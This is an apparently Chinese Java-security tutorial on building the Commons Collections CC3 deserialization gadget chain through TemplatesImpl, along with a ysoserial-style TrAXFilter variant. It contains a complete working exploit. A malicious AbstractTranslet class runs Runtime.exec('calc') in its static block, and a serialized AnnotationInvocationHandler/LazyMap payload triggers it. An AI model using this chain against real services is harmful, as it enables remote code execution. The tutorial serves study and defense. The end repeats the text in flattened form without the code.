java安全:从发现者角度解析CC3链构造过程
字数 1383 2025-08-29 22:41:38

Java安全:CC3链构造过程详解

1. 背景知识

1.1 Java类动态加载的安全问题

Java类动态加载机制会调用defineClass方法,该方法可以将一个class字节码转化为Java对象并加载到内存中。当我们在静态代码块中写入恶意代码时,defineClass执行并且newInstance后,恶意代码就会自动执行。

2. CC3链核心原理

2.1 关键类分析

CC3链的命令执行关键在于defineClass方法。通过逆向分析调用链:

  1. TemplatesImpl类中的defineClass是default权限,只能在同一包内调用
  2. 同一包内的defineTransletClasses方法调用了defineClass,但它是private方法
  3. getTransletInstance调用了defineTransletClasses,也是private方法
  4. 最终newTransformer这个public方法调用了getTransletInstance

2.2 defineTransletClasses方法分析

该方法主要功能:

  • 给class数组赋值(赋值为class字节码)
  • 构建实例并执行恶意代码

3. CC3链构造过程

3.1 基本构造步骤

  1. 创建一个TemplatesImpl对象
  2. 由于内部属性都是private,需要使用反射进行赋值:
    • 需要赋值的字段:
      • _name:任意字符串
      • _bytecodes:包含恶意代码的类字节码(二维数组)
      • _tfactoryTransformerFactoryImpl实例

3.2 恶意类构造要求

恶意类必须满足以下条件:

  1. 必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
  2. 静态代码块中放置恶意代码

示例恶意类:

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

3.3 完整CC3链构造代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
    public static void main(String[] args) throws Exception {
        // 1. 创建并配置TemplatesImpl对象
        final TemplatesImpl templates = new TemplatesImpl();
        final Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        
        // 设置_name字段
        final Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"yuji");
        
        // 设置_class字段为null
        final Field classDeclaredField = templatesClass.getDeclaredField("_class");
        classDeclaredField.setAccessible(true);
        classDeclaredField.set(templates,null);
        
        // 读取恶意类字节码
        byte[] bytecode = Files.readAllBytes(Paths.get("E:\\java_sec\\tmp\\evil.class"));
        byte[][] bytecodes = {bytecode};
        
        // 设置_bytecodes字段
        final Field bytecodesfield = templatesClass.getDeclaredField("_bytecodes");
        bytecodesfield.setAccessible(true);
        bytecodesfield.set(templates,bytecodes);
        
        // 设置_tfactory字段
        final Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        
        // 2. 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null),
        };
        final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 3. 构造LazyMap
        final HashMap<Object, Object> map = new HashMap<>();
        map.put("value","xxx");
        final Map lazymap = LazyMap.decorate(map, chainedTransformer);
        
        // 4. 构造AnnotationInvocationHandler代理
        final Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        final Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        final InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazymap);
        
        // 5. 创建代理对象
        final Map proxyInstance = (Map) Proxy.newProxyInstance(
            lazymap.getClass().getClassLoader(),
            new Class[]{Map.class},
            invocationHandler);
        
        // 6. 创建最终的反序列化对象
        final Object o = declaredConstructor.newInstance(Override.class, proxyInstance);
        
        // 序列化和反序列化测试
        serialize(o);
        Deserialize("cc3.ser");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
        objectOutputStream.writeObject(obj);
    }
    
    public static Object Deserialize(String filename) throws Exception {
        final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

3.4 Yso CC3变种分析

Yso中的CC3链实现不使用InvokerTransformer,而是使用InstantiateTransformer

  1. 通过InstantiateTransformer实例化TrAXFilter
  2. TrAXFilter的构造方法中会调用newTransformer

实现代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test2 {
    public static void main(String[] args) throws Exception {
        // TemplatesImpl配置同上...
        
        // 使用InstantiateTransformer替代InvokerTransformer
        final InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
            new Class[]{Templates.class}, 
            new Object[]{templates});
        
        final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer,
        });
        
        // 后续LazyMap和代理构造同上...
    }
}

4. 关键点总结

  1. 恶意类要求

    • 必须继承AbstractTranslet
    • 静态代码块中放置恶意代码
    • 需要实现transform方法
  2. TemplatesImpl配置

    • _name:任意非空字符串
    • _bytecodes:恶意类字节码数组
    • _tfactoryTransformerFactoryImpl实例
    • _class:设置为null
  3. 两种实现方式

    • 传统方式:使用InvokerTransformer调用newTransformer
    • Yso方式:使用InstantiateTransformer实例化TrAXFilter
  4. 调用链

    readObject() -> AnnotationInvocationHandler#invoke -> LazyMap#get -> 
    ChainedTransformer#transform -> InstantiateTransformer#transform -> 
    TrAXFilter#constructor -> TemplatesImpl#newTransformer -> 
    getTransletInstance -> defineTransletClasses -> defineClass
    
  5. 注意事项

    • 需要Commons Collections库
    • 不同JDK版本中AnnotationInvocationHandler实现可能有差异
    • 恶意类必须满足defineTransletClasses中的条件判断
Java安全:CC3链构造过程详解 1. 背景知识 1.1 Java类动态加载的安全问题 Java类动态加载机制会调用 defineClass 方法,该方法可以将一个class字节码转化为Java对象并加载到内存中。当我们在静态代码块中写入恶意代码时, defineClass 执行并且 newInstance 后,恶意代码就会自动执行。 2. CC3链核心原理 2.1 关键类分析 CC3链的命令执行关键在于 defineClass 方法。通过逆向分析调用链: TemplatesImpl 类中的 defineClass 是default权限,只能在同一包内调用 同一包内的 defineTransletClasses 方法调用了 defineClass ,但它是private方法 getTransletInstance 调用了 defineTransletClasses ,也是private方法 最终 newTransformer 这个public方法调用了 getTransletInstance 2.2 defineTransletClasses方法分析 该方法主要功能: 给class数组赋值(赋值为class字节码) 构建实例并执行恶意代码 3. CC3链构造过程 3.1 基本构造步骤 创建一个 TemplatesImpl 对象 由于内部属性都是private,需要使用反射进行赋值: 需要赋值的字段: _name :任意字符串 _bytecodes :包含恶意代码的类字节码(二维数组) _tfactory : TransformerFactoryImpl 实例 3.2 恶意类构造要求 恶意类必须满足以下条件: 必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 静态代码块中放置恶意代码 示例恶意类: 3.3 完整CC3链构造代码 3.4 Yso CC3变种分析 Yso中的CC3链实现不使用 InvokerTransformer ,而是使用 InstantiateTransformer : 通过 InstantiateTransformer 实例化 TrAXFilter TrAXFilter 的构造方法中会调用 newTransformer 实现代码: 4. 关键点总结 恶意类要求 : 必须继承 AbstractTranslet 静态代码块中放置恶意代码 需要实现 transform 方法 TemplatesImpl配置 : _name :任意非空字符串 _bytecodes :恶意类字节码数组 _tfactory : TransformerFactoryImpl 实例 _class :设置为null 两种实现方式 : 传统方式:使用 InvokerTransformer 调用 newTransformer Yso方式:使用 InstantiateTransformer 实例化 TrAXFilter 调用链 : 注意事项 : 需要Commons Collections库 不同JDK版本中 AnnotationInvocationHandler 实现可能有差异 恶意类必须满足 defineTransletClasses 中的条件判断